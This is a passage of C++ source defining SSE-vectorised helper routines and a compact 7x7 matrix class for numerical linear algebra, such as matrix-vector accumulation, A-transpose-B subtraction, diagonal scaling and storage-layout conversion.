to.v6() = ENFT_SSE::SSE::Sum0123(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_60_61_62_63(), B.v0123()), ENFT_SSE::_mm_mul_ps(A.M_64_65_66_x(), B.v456x()))) + to.v6();
}
inline void AddABTo(const AlignedMatrix7f &A, const AlignedVector7f &B, AlignedVector7f &to, ENFT_SSE::__m128 *work0) { AddABTo(A, B, to); }
inline void AddATBTo(const AlignedMatrix7f &A, const AlignedVector7f &B, AlignedVector7f &to, ENFT_SSE::__m128 *work1)
{
work1[0] = ENFT_SSE::_mm_set1_ps(B.v0());
to.v0123() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_00_01_02_03(), work1[0]), to.v0123());
to.v456x() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_04_05_06_x (), work1[0]), to.v456x());
work1[0] = ENFT_SSE::_mm_set1_ps(B.v1());
to.v0123() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_10_11_12_13(), work1[0]), to.v0123());
to.v456x() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_14_15_16_x (), work1[0]), to.v456x());
work1[0] = ENFT_SSE::_mm_set1_ps(B.v2());
to.v0123() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_20_21_22_23(), work1[0]), to.v0123());
to.v456x() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_24_25_26_x (), work1[0]), to.v456x());
work1[0] = ENFT_SSE::_mm_set1_ps(B.v3());
to.v0123() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_30_31_32_33(), work1[0]), to.v0123());
to.v456x() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_34_35_36_x (), work1[0]), to.v456x());
work1[0] = ENFT_SSE::_mm_set1_ps(B.v4());
to.v0123() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_40_41_42_43(), work1[0]), to.v0123());
to.v456x() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_44_45_46_x (), work1[0]), to.v456x());
work1[0] = ENFT_SSE::_mm_set1_ps(B.v5());
to.v0123() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_50_51_52_53(), work1[0]), to.v0123());
to.v456x() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_54_55_56_x (), work1[0]), to.v456x());
work1[0] = ENFT_SSE::_mm_set1_ps(B.v6());
to.v0123() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_60_61_62_63(), work1[0]), to.v0123());
to.v456x() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(A.M_64_65_66_x (), work1[0]), to.v456x());
}
inline void SubtractATBFrom(const AlignedMatrix3x7f &A, const AlignedMatrix3x7f &B, AlignedMatrix7f &from, ENFT_SSE::__m128 *work3)
{
work3[0] = ENFT_SSE::_mm_set1_ps(A.M00()); work3[1] = ENFT_SSE::_mm_set1_ps(A.M10()); work3[2] = ENFT_SSE::_mm_set1_ps(A.M20());
from.M_00_01_02_03() = ENFT_SSE::_mm_sub_ps(from.M_00_01_02_03(), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], B.M_00_01_02_03()), ENFT_SSE::_mm_mul_ps(work3[1], B.M_10_11_12_13())), ENFT_SSE::_mm_mul_ps(work3[2], B.M_20_21_22_23())));
from.M_04_05_06_x () = ENFT_SSE::_mm_sub_ps(from.M_04_05_06_x (), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], B.M_04_05_06_x ()), ENFT_SSE::_mm_mul_ps(work3[1], B.M_14_15_16_x ())), ENFT_SSE::_mm_mul_ps(work3[2], B.M_24_25_26_x ())));
work3[0] = ENFT_SSE::_mm_set1_ps(A.M01()); work3[1] = ENFT_SSE::_mm_set1_ps(A.M11()); work3[2] = ENFT_SSE::_mm_set1_ps(A.M21());
from.M_10_11_12_13() = ENFT_SSE::_mm_sub_ps(from.M_10_11_12_13(), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], B.M_00_01_02_03()), ENFT_SSE::_mm_mul_ps(work3[1], B.M_10_11_12_13())), ENFT_SSE::_mm_mul_ps(work3[2], B.M_20_21_22_23())));
from.M_14_15_16_x () = ENFT_SSE::_mm_sub_ps(from.M_14_15_16_x (), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], B.M_04_05_06_x ()), ENFT_SSE::_mm_mul_ps(work3[1], B.M_14_15_16_x ())), ENFT_SSE::_mm_mul_ps(work3[2], B.M_24_25_26_x ())));
work3[0] = ENFT_SSE::_mm_set1_ps(A.M02()); work3[1] = ENFT_SSE::_mm_set1_ps(A.M12()); work3[2] = ENFT_SSE::_mm_set1_ps(A.M22());
from.M_20_21_22_23() = ENFT_SSE::_mm_sub_ps(from.M_20_21_22_23(), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], B.M_00_01_02_03()), ENFT_SSE::_mm_mul_ps(work3[1], B.M_10_11_12_13())), ENFT_SSE::_mm_mul_ps(work3[2], B.M_20_21_22_23())));
from.M_24_25_26_x () = ENFT_SSE::_mm_sub_ps(from.M_24_25_26_x (), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], B.M_04_05_06_x ()), ENFT_SSE::_mm_mul_ps(work3[1], B.M_14_15_16_x ())), ENFT_SSE::_mm_mul_ps(work3[2], B.M_24_25_26_x ())));
work3[0] = ENFT_SSE::_mm_set1_ps(A.M03()); work3[1] = ENFT_SSE::_mm_set1_ps(A.M13()); work3[2] = ENFT_SSE::_mm_set1_ps(A.M23());
from.M_30_31_32_33() = ENFT_SSE::_mm_sub_ps(from.M_30_31_32_33(), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], B.M_00_01_02_03()), ENFT_SSE::_mm_mul_ps(work3[1], B.M_10_11_12_13())), ENFT_SSE::_mm_mul_ps(work3[2], B.M_20_21_22_23())));
from.M_34_35_36_x () = ENFT_SSE::_mm_sub_ps(from.M_34_35_36_x (), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], B.M_04_05_06_x ()), ENFT_SSE::_mm_mul_ps(work3[1], B.M_14_15_16_x ())), ENFT_SSE::_mm_mul_ps(work3[2], B.M_24_25_26_x ())));
work3[0] = ENFT_SSE::_mm_set1_ps(A.M04()); work3[1] = ENFT_SSE::_mm_set1_ps(A.M14()); work3[2] = ENFT_SSE::_mm_set1_ps(A.M24());
from.M_40_41_42_43() = ENFT_SSE::_mm_sub_ps(from.M_40_41_42_43(), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], B.M_00_01_02_03()), ENFT_SSE::_mm_mul_ps(work3[1], B.M_10_11_12_13())), ENFT_SSE::_mm_mul_ps(work3[2], B.M_20_21_22_23())));
from.M_44_45_46_x () = ENFT_SSE::_mm_sub_ps(from.M_44_45_46_x (), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], B.M_04_05_06_x ()), ENFT_SSE::_mm_mul_ps(work3[1], B.M_14_15_16_x ())), ENFT_SSE::_mm_mul_ps(work3[2], B.M_24_25_26_x ())));
work3[0] = ENFT_SSE::_mm_set1_ps(A.M05()); work3[1] = ENFT_SSE::_mm_set1_ps(A.M15()); work3[2] = ENFT_SSE::_mm_set1_ps(A.M25());
from.M_50_51_52_53() = ENFT_SSE::_mm_sub_ps(from.M_50_51_52_53(), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], B.M_00_01_02_03()), ENFT_SSE::_mm_mul_ps(work3[1], B.M_10_11_12_13())), ENFT_SSE::_mm_mul_ps(work3[2], B.M_20_21_22_23())));
from.M_54_55_56_x () = ENFT_SSE::_mm_sub_ps(from.M_54_55_56_x (), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], B.M_04_05_06_x ()), ENFT_SSE::_mm_mul_ps(work3[1], B.M_14_15_16_x ())), ENFT_SSE::_mm_mul_ps(work3[2], B.M_24_25_26_x ())));
work3[0] = ENFT_SSE::_mm_set1_ps(A.M06()); work3[1] = ENFT_SSE::_mm_set1_ps(A.M16()); work3[2] = ENFT_SSE::_mm_set1_ps(A.M26());
from.M_60_61_62_63() = ENFT_SSE::_mm_sub_ps(from.M_60_61_62_63(), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], B.M_00_01_02_03()), ENFT_SSE::_mm_mul_ps(work3[1], B.M_10_11_12_13())), ENFT_SSE::_mm_mul_ps(work3[2], B.M_20_21_22_23())));
from.M_64_65_66_x () = ENFT_SSE::_mm_sub_ps(from.M_64_65_66_x (), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work3[0], B.M_04_05_06_x ()), ENFT_SSE::_mm_mul_ps(work3[1], B.M_14_15_16_x ())), ENFT_SSE::_mm_mul_ps(work3[2], B.M_24_25_26_x ())));
}
inline void SubtractATBFrom(const AlignedMatrix2x7f &A, const AlignedMatrix2x7f &B, AlignedMatrix7f &from, ENFT_SSE::__m128 *work2)
{
work2[0] = ENFT_SSE::_mm_set1_ps(A.M00()); work2[1] = ENFT_SSE::_mm_set1_ps(A.M10());
from.M_00_01_02_03() = ENFT_SSE::_mm_sub_ps(from.M_00_01_02_03(), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work2[0], B.M_00_01_02_03()), ENFT_SSE::_mm_mul_ps(work2[1], B.M_10_11_12_13())));
from.M_04_05_06_x () = ENFT_SSE::_mm_sub_ps(from.M_04_05_06_x (), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work2[0], B.M_04_05_06_x ()), ENFT_SSE::_mm_mul_ps(work2[1], B.M_14_15_16_x ())));
work2[0] = ENFT_SSE::_mm_set1_ps(A.M01()); work2[1] = ENFT_SSE::_mm_set1_ps(A.M11());
from.M_10_11_12_13() = ENFT_SSE::_mm_sub_ps(from.M_10_11_12_13(), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work2[0], B.M_00_01_02_03()), ENFT_SSE::_mm_mul_ps(work2[1], B.M_10_11_12_13())));
from.M_14_15_16_x () = ENFT_SSE::_mm_sub_ps(from.M_14_15_16_x (), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work2[0], B.M_04_05_06_x ()), ENFT_SSE::_mm_mul_ps(work2[1], B.M_14_15_16_x ())));
work2[0] = ENFT_SSE::_mm_set1_ps(A.M02()); work2[1] = ENFT_SSE::_mm_set1_ps(A.M12());
from.M_20_21_22_23() = ENFT_SSE::_mm_sub_ps(from.M_20_21_22_23(), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work2[0], B.M_00_01_02_03()), ENFT_SSE::_mm_mul_ps(work2[1], B.M_10_11_12_13())));
from.M_24_25_26_x () = ENFT_SSE::_mm_sub_ps(from.M_24_25_26_x (), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work2[0], B.M_04_05_06_x ()), ENFT_SSE::_mm_mul_ps(work2[1], B.M_14_15_16_x ())));
work2[0] = ENFT_SSE::_mm_set1_ps(A.M03()); work2[1] = ENFT_SSE::_mm_set1_ps(A.M13());
from.M_30_31_32_33() = ENFT_SSE::_mm_sub_ps(from.M_30_31_32_33(), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work2[0], B.M_00_01_02_03()), ENFT_SSE::_mm_mul_ps(work2[1], B.M_10_11_12_13())));
from.M_34_35_36_x () = ENFT_SSE::_mm_sub_ps(from.M_34_35_36_x (), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work2[0], B.M_04_05_06_x ()), ENFT_SSE::_mm_mul_ps(work2[1], B.M_14_15_16_x ())));
work2[0] = ENFT_SSE::_mm_set1_ps(A.M04()); work2[1] = ENFT_SSE::_mm_set1_ps(A.M14());
from.M_40_41_42_43() = ENFT_SSE::_mm_sub_ps(from.M_40_41_42_43(), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work2[0], B.M_00_01_02_03()), ENFT_SSE::_mm_mul_ps(work2[1], B.M_10_11_12_13())));
from.M_44_45_46_x () = ENFT_SSE::_mm_sub_ps(from.M_44_45_46_x (), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work2[0], B.M_04_05_06_x ()), ENFT_SSE::_mm_mul_ps(work2[1], B.M_14_15_16_x ())));
work2[0] = ENFT_SSE::_mm_set1_ps(A.M05()); work2[1] = ENFT_SSE::_mm_set1_ps(A.M15());
from.M_50_51_52_53() = ENFT_SSE::_mm_sub_ps(from.M_50_51_52_53(), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work2[0], B.M_00_01_02_03()), ENFT_SSE::_mm_mul_ps(work2[1], B.M_10_11_12_13())));
from.M_54_55_56_x () = ENFT_SSE::_mm_sub_ps(from.M_54_55_56_x (), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work2[0], B.M_04_05_06_x ()), ENFT_SSE::_mm_mul_ps(work2[1], B.M_14_15_16_x ())));
work2[0] = ENFT_SSE::_mm_set1_ps(A.M06()); work2[1] = ENFT_SSE::_mm_set1_ps(A.M16());
from.M_60_61_62_63() = ENFT_SSE::_mm_sub_ps(from.M_60_61_62_63(), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work2[0], B.M_00_01_02_03()), ENFT_SSE::_mm_mul_ps(work2[1], B.M_10_11_12_13())));
from.M_64_65_66_x () = ENFT_SSE::_mm_sub_ps(from.M_64_65_66_x (), ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(work2[0], B.M_04_05_06_x ()), ENFT_SSE::_mm_mul_ps(work2[1], B.M_14_15_16_x ())));
}
inline void sA(const AlignedMatrix7f &s, AlignedMatrix7f &A)
{
A.M_00_01_02_03() = ENFT_SSE::_mm_mul_ps(s.M_00_01_02_03(), A.M_00_01_02_03()); A.M_04_05_06_x() = ENFT_SSE::_mm_mul_ps(s.M_04_05_06_x(), A.M_04_05_06_x());
A.M_10_11_12_13() = ENFT_SSE::_mm_mul_ps(s.M_10_11_12_13(), A.M_10_11_12_13()); A.M_14_15_16_x() = ENFT_SSE::_mm_mul_ps(s.M_14_15_16_x(), A.M_14_15_16_x());
A.M_20_21_22_23() = ENFT_SSE::_mm_mul_ps(s.M_20_21_22_23(), A.M_20_21_22_23()); A.M_24_25_26_x() = ENFT_SSE::_mm_mul_ps(s.M_24_25_26_x(), A.M_24_25_26_x());
A.M_30_31_32_33() = ENFT_SSE::_mm_mul_ps(s.M_30_31_32_33(), A.M_30_31_32_33()); A.M_34_35_36_x() = ENFT_SSE::_mm_mul_ps(s.M_34_35_36_x(), A.M_34_35_36_x());
A.M_40_41_42_43() = ENFT_SSE::_mm_mul_ps(s.M_40_41_42_43(), A.M_40_41_42_43()); A.M_44_45_46_x() = ENFT_SSE::_mm_mul_ps(s.M_44_45_46_x(), A.M_44_45_46_x());
A.M_50_51_52_53() = ENFT_SSE::_mm_mul_ps(s.M_50_51_52_53(), A.M_50_51_52_53()); A.M_54_55_56_x() = ENFT_SSE::_mm_mul_ps(s.M_54_55_56_x(), A.M_54_55_56_x());
A.M_60_61_62_63() = ENFT_SSE::_mm_mul_ps(s.M_60_61_62_63(), A.M_60_61_62_63()); A.M_64_65_66_x() = ENFT_SSE::_mm_mul_ps(s.M_64_65_66_x(), A.M_64_65_66_x());
}
inline void ABT(const AlignedVector7f &A, const AlignedVector7f &B, AlignedMatrix7f &ABT, ENFT_SSE::__m128 *work1)
{
work1[0] = ENFT_SSE::_mm_set1_ps(A.v0()); ABT.M_00_01_02_03() = ENFT_SSE::_mm_mul_ps(work1[0], B.v0123()); ABT.M_04_05_06_x() = ENFT_SSE::_mm_mul_ps(work1[0], B.v456x());
work1[0] = ENFT_SSE::_mm_set1_ps(A.v1()); ABT.M_10_11_12_13() = ENFT_SSE::_mm_mul_ps(work1[0], B.v0123()); ABT.M_14_15_16_x() = ENFT_SSE::_mm_mul_ps(work1[0], B.v456x());
work1[0] = ENFT_SSE::_mm_set1_ps(A.v2()); ABT.M_20_21_22_23() = ENFT_SSE::_mm_mul_ps(work1[0], B.v0123()); ABT.M_24_25_26_x() = ENFT_SSE::_mm_mul_ps(work1[0], B.v456x());
work1[0] = ENFT_SSE::_mm_set1_ps(A.v3()); ABT.M_30_31_32_33() = ENFT_SSE::_mm_mul_ps(work1[0], B.v0123()); ABT.M_34_35_36_x() = ENFT_SSE::_mm_mul_ps(work1[0], B.v456x());
work1[0] = ENFT_SSE::_mm_set1_ps(A.v4()); ABT.M_40_41_42_43() = ENFT_SSE::_mm_mul_ps(work1[0], B.v0123()); ABT.M_44_45_46_x() = ENFT_SSE::_mm_mul_ps(work1[0], B.v456x());
work1[0] = ENFT_SSE::_mm_set1_ps(A.v5()); ABT.M_50_51_52_53() = ENFT_SSE::_mm_mul_ps(work1[0], B.v0123()); ABT.M_54_55_56_x() = ENFT_SSE::_mm_mul_ps(work1[0], B.v456x());
work1[0] = ENFT_SSE::_mm_set1_ps(A.v6()); ABT.M_60_61_62_63() = ENFT_SSE::_mm_mul_ps(work1[0], B.v0123()); ABT.M_64_65_66_x() = ENFT_SSE::_mm_mul_ps(work1[0], B.v456x());
}
inline void ssTA(const AlignedVector7f &s, AlignedMatrix7f &A, ENFT_SSE::__m128 &work)
{
work = ENFT_SSE::_mm_set1_ps(s.v0());
A.M_00_01_02_03() = ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_mul_ps(work, s.v0123()), A.M_00_01_02_03());
A.M_04_05_06_x () = ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_mul_ps(work, s.v456x()), A.M_04_05_06_x ());
work = ENFT_SSE::_mm_set1_ps(s.v1());
A.M_10_11_12_13() = ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_mul_ps(work, s.v0123()), A.M_10_11_12_13());
A.M_14_15_16_x () = ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_mul_ps(work, s.v456x()), A.M_14_15_16_x ());
work = ENFT_SSE::_mm_set1_ps(s.v2());
A.M_20_21_22_23() = ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_mul_ps(work, s.v0123()), A.M_20_21_22_23());
A.M_24_25_26_x () = ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_mul_ps(work, s.v456x()), A.M_24_25_26_x ());
work = ENFT_SSE::_mm_set1_ps(s.v3());
A.M_30_31_32_33() = ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_mul_ps(work, s.v0123()), A.M_30_31_32_33());
A.M_34_35_36_x () = ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_mul_ps(work, s.v456x()), A.M_34_35_36_x ());
work = ENFT_SSE::_mm_set1_ps(s.v4());
A.M_40_41_42_43() = ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_mul_ps(work, s.v0123()), A.M_40_41_42_43());
A.M_44_45_46_x () = ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_mul_ps(work, s.v456x()), A.M_44_45_46_x ());
work = ENFT_SSE::_mm_set1_ps(s.v5());
A.M_50_51_52_53() = ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_mul_ps(work, s.v0123()), A.M_50_51_52_53());
A.M_54_55_56_x () = ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_mul_ps(work, s.v456x()), A.M_54_55_56_x ());
work = ENFT_SSE::_mm_set1_ps(s.v6());
A.M_60_61_62_63() = ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_mul_ps(work, s.v0123()), A.M_60_61_62_63());
A.M_64_65_66_x () = ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_mul_ps(work, s.v456x()), A.M_64_65_66_x ());
}
bool InvertSymmetricUpper(AlignedMatrix7f &A);
bool InvertSymmetricUpper(const AlignedMatrix7f &A, AlignedMatrix7f &Ainv);
inline bool InvertSymmetricUpper(const AlignedMatrix7f &A, AlignedMatrix7f &Ainv, float *work0) { return InvertSymmetricUpper(A, Ainv); }
bool SolveLinearSystemSymmetricUpper(AlignedMatrix7f &A, AlignedVector7f &b);
inline bool SolveLinearSystemSymmetricUpper(AlignedMatrix7f &A, AlignedVector7f &b, float *work0) { return SolveLinearSystemSymmetricUpper(A, b); }
class AlignedCompactMatrix7f : public AlignedCompactMatrix6f
{
public:
inline const ENFT_SSE::__m128& M_06_16_26_36() const { return m_06_16_26_36; } inline ENFT_SSE::__m128& M_06_16_26_36() { return m_06_16_26_36; }
inline const ENFT_SSE::__m128& M_46_56_x_x () const { return m_46_56_x_x; } inline ENFT_SSE::__m128& M_46_56_x_x () { return m_46_56_x_x; }
inline const ENFT_SSE::__m128& M_60_61_62_63() const { return m_60_61_62_63; } inline ENFT_SSE::__m128& M_60_61_62_63() { return m_60_61_62_63; }
inline const ENFT_SSE::__m128& M_64_65_66_x () const { return m_64_65_66_x; } inline ENFT_SSE::__m128& M_64_65_66_x () { return m_64_65_66_x; }
inline const float& M06() const { return m_06_16_26_36.m128_f32[0]; } inline float& M06() { return m_06_16_26_36.m128_f32[0]; }
inline const float& M16() const { return m_06_16_26_36.m128_f32[1]; } inline float& M16() { return m_06_16_26_36.m128_f32[1]; }
inline const float& M26() const { return m_06_16_26_36.m128_f32[2]; } inline float& M26() { return m_06_16_26_36.m128_f32[2]; }
inline const float& M36() const { return m_06_16_26_36.m128_f32[3]; } inline float& M36() { return m_06_16_26_36.m128_f32[3]; }
inline const float& M46() const { return m_46_56_x_x.m128_f32[0]; } inline float& M46() { return m_46_56_x_x.m128_f32[0]; }
inline const float& M56() const { return m_46_56_x_x.m128_f32[1]; } inline float& M56() { return m_46_56_x_x.m128_f32[1]; }
inline const float& M60() const { return m_60_61_62_63.m128_f32[0]; } inline float& M60() { return m_60_61_62_63.m128_f32[0]; }
inline const float& M61() const { return m_60_61_62_63.m128_f32[1]; } inline float& M61() { return m_60_61_62_63.m128_f32[1]; }
inline const float& M62() const { return m_60_61_62_63.m128_f32[2]; } inline float& M62() { return m_60_61_62_63.m128_f32[2]; }
inline const float& M63() const { return m_60_61_62_63.m128_f32[3]; } inline float& M63() { return m_60_61_62_63.m128_f32[3]; }
inline const float& M64() const { return m_64_65_66_x.m128_f32[0]; } inline float& M64() { return m_64_65_66_x.m128_f32[0]; }
inline const float& M65() const { return m_64_65_66_x.m128_f32[1]; } inline float& M65() { return m_64_65_66_x.m128_f32[1]; }
inline const float& M66() const { return m_64_65_66_x.m128_f32[2]; } inline float& M66() { return m_64_65_66_x.m128_f32[2]; }
inline const float& reserve0() const { return m_46_56_x_x.m128_f32[2]; } inline float& reserve0() { return m_46_56_x_x.m128_f32[2]; }
inline const float& reserve1() const { return m_46_56_x_x.m128_f32[3]; } inline float& reserve1() { return m_46_56_x_x.m128_f32[3]; }
inline const float& reserve2() const { return m_64_65_66_x.m128_f32[3]; } inline float& reserve2() { return m_64_65_66_x.m128_f32[3]; }
inline void SetZero() { memset(this, 0, sizeof(AlignedCompactMatrix7f)); }
inline void GetDiagonal(AlignedVector7f &d) const
{
d.v0() = M00(); d.v1() = M11(); d.v2() = M22(); d.v3() = M33(); d.v4() = M44(); d.v5() = M55(); d.v6() = M66(); d.reserve() = 0;
}
inline void SetDiagonal(const AlignedVector7f &d)
{
M00() = d.v0(); M11() = d.v1(); M22() = d.v2(); M33() = d.v3(); M44() = d.v4(); M55() = d.v5(); M66() = d.v6();
}
inline void ScaleDiagonal(const float &lambda)
{
M00() *= lambda; M11() *= lambda; M22() *= lambda; M33() *= lambda; M44() *= lambda; M55() *= lambda; M66() *= lambda;
}
inline void IncreaseDiagonal(const float &lambda)
{
M00() += lambda; M11() += lambda; M22() += lambda; M33() += lambda; M44() += lambda; M55() += lambda; M66() += lambda;
}
inline void ConvertToConventionalStorage(float *work49)
{
memcpy(work49, &M00(), 24);
work49[6] = M06();
memcpy(work49 + 7, &M10(), 16);
memcpy(work49 + 11, &M14(), 8);
work49[13] = M16();
memcpy(work49 + 14, &M20(), 24);
work49[20] = M26();
memcpy(work49 + 21, &M30(), 16);
memcpy(work49 + 25, &M34(), 8);
work49[27] = M36();
memcpy(work49 + 28, &M40(), 24);
work49[34] = M46();
memcpy(work49 + 35, &M50(), 16);
memcpy(work49 + 39, &M54(), 8);
work49[41] = M56();
memcpy(work49 + 42, &M60(), 28);
memcpy(this, work49, 196);
}
inline void ConvertToConventionalStorage(float *M) const
{
memcpy(M, &M00(), 24);
M[6] = M06();
memcpy(M + 7, &M10(), 16);
memcpy(M + 11, &M14(), 8);
M[13] = M16();
memcpy(M + 14, &M20(), 24);
M[20] = M26();
memcpy(M + 21, &M30(), 16);
memcpy(M + 25, &M34(), 8);
M[27] = M36();
memcpy(M + 28, &M40(), 24);
M[34] = M46();
memcpy(M + 35, &M50(), 16);
memcpy(M + 39, &M54(), 8);
M[41] = M56();
memcpy(M + 42, &M60(), 28);
}
inline void ConvertToSpecialStorage(float *work49)
{
memcpy(work49, this, 196);
memcpy(&M00(), work49, 24);
M06() = work49[6];
memcpy(&M10(), work49 + 7, 16);
memcpy(&M14(), work49 + 11, 8);
M16() = work49[13];
memcpy(&M20(), work49 + 14, 24);
M26() = work49[20];
memcpy(&M30(), work49 + 21, 16);
memcpy(&M34(), work49 + 25, 8);
M36() = work49[27];
memcpy(&M40(), work49 + 28, 24);
M46() = work49[34];
memcpy(&M50(), work49 + 35, 16);
memcpy(&M54(), work49 + 39, 8);
M56() = work49[41];
memcpy(&M60(), work49 + 42, 28);
}
inline void SetLowerFromUpper()
{
M10() = M01();
M20() = M02(); M21() = M12();
M30() = M03(); M31() = M13(); M32() = M23();
M40() = M04(); M41() = M14(); M42() = M24(); M43() = M34();
M50() = M05(); M51() = M15(); M52() = M25(); M53() = M35(); M54() = M45();
M60() = M06(); M61() = M16(); M62() = M26(); M63() = M36(); M64() = M46(); M65() = M56();
m_46_56_x_x.m128_f32[2] = m_46_56_x_x.m128_f32[3] = m_64_65_66_x.m128_f32[3] = 0;
}
inline void SetUpperFromLower()
{
M01() = M10();
M02() = M20(); M12() = M21();
M03() = M30(); M13() = M31(); M23() = M32();
M04() = M40(); M14() = M41(); M24() = M42(); M34() = M43();
M05() = M50(); M15() = M51(); M25() = M52(); M35() = M53(); M45() = M54();
M06() = M60(); M16() = M61(); M26() = M62(); M36() = M63(); M46() = M64(); M56() = M65();
m_46_56_x_x.m128_f32[2] = m_46_56_x_x.m128_f32[3] = m_64_65_66_x.m128_f32[3] = 0;
}
inline void Print() const
{
printf("%f %f %f %f %f %f %f\n", M00(), M01(), M02(), M03(), M04(), M05(), M06());
printf("%f %f %f %f %f %f %f\n", M10(), M11(), M12(), M13(), M14(), M15(), M16());
printf("%f %f %f %f %f %f %f\n", M20(), M21(), M22(), M23(), M24(), M25(), M26());
printf("%f %f %f %f %f %f %f\n", M30(), M31(), M32(), M33(), M34(), M35(), M36());
printf("%f %f %f %f %f %f %f\n", M40(), M41(), M42(), M43(), M44(), M45(), M46());
printf("%f %f %f %f %f %f %f\n", M50(), M51(), M52(), M53(), M54(), M55(), M56());
printf("%f %f %f %f %f %f %f\n", M60(), M61(), M62(), M63(), M64(), M65(), M66());
printf("%f %f %f\n", m_46_56_x_x.m128_f32[2], m_46_56_x_x.m128_f32[3], m_64_65_66_x.m128_f32[3]);
}
protected:
ENFT_SSE::__m128 m_06_16_26_36, m_46_56_x_x, m_60_61_62_63, m_64_65_66_x;
};
inline void AddATAToUpper(const AlignedCompactMatrix2x7f &A, AlignedCompactMatrix7f &to, ENFT_SSE::__m128 *work2)
{
to.M_00_01_02_03() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_set1_ps(A.M00()), A.M_00_01_02_03()), ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_set1_ps(A.M10()), A.M_10_11_12_13())),
to.M_00_01_02_03());
to.M04() = A.M00() * A.M04() + A.M10() * A.M14() + to.M04();
to.M05() = A.M00() * A.M05() + A.M10() * A.M15() + to.M05();
to.M_10_11_12_13() = ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_add_ps(ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_set1_ps(A.M01()), A.M_00_01_02_03()), ENFT_SSE::_mm_mul_ps(ENFT_SSE::_mm_set1_ps(A.M11()), A.M_10_11_12_13())),
to.M_10_11_12_13());
to.M14() = A.M01() * A.M04() + A.M11() * A.M14() + to.M14();
to.M15() = A.M01() * A.M05() + A.M11() * A.M15() + to.M15();
to.M22() = A.M02() * A.M02() + A.M12() * A.M12() + to.M22();
to.M23() = A.M02() * A.M03() + A.M12() * A.M13() + to.M23();
to.M24() = A.M02() * A.M04() + A.M12() * A.M14() + to.M24();
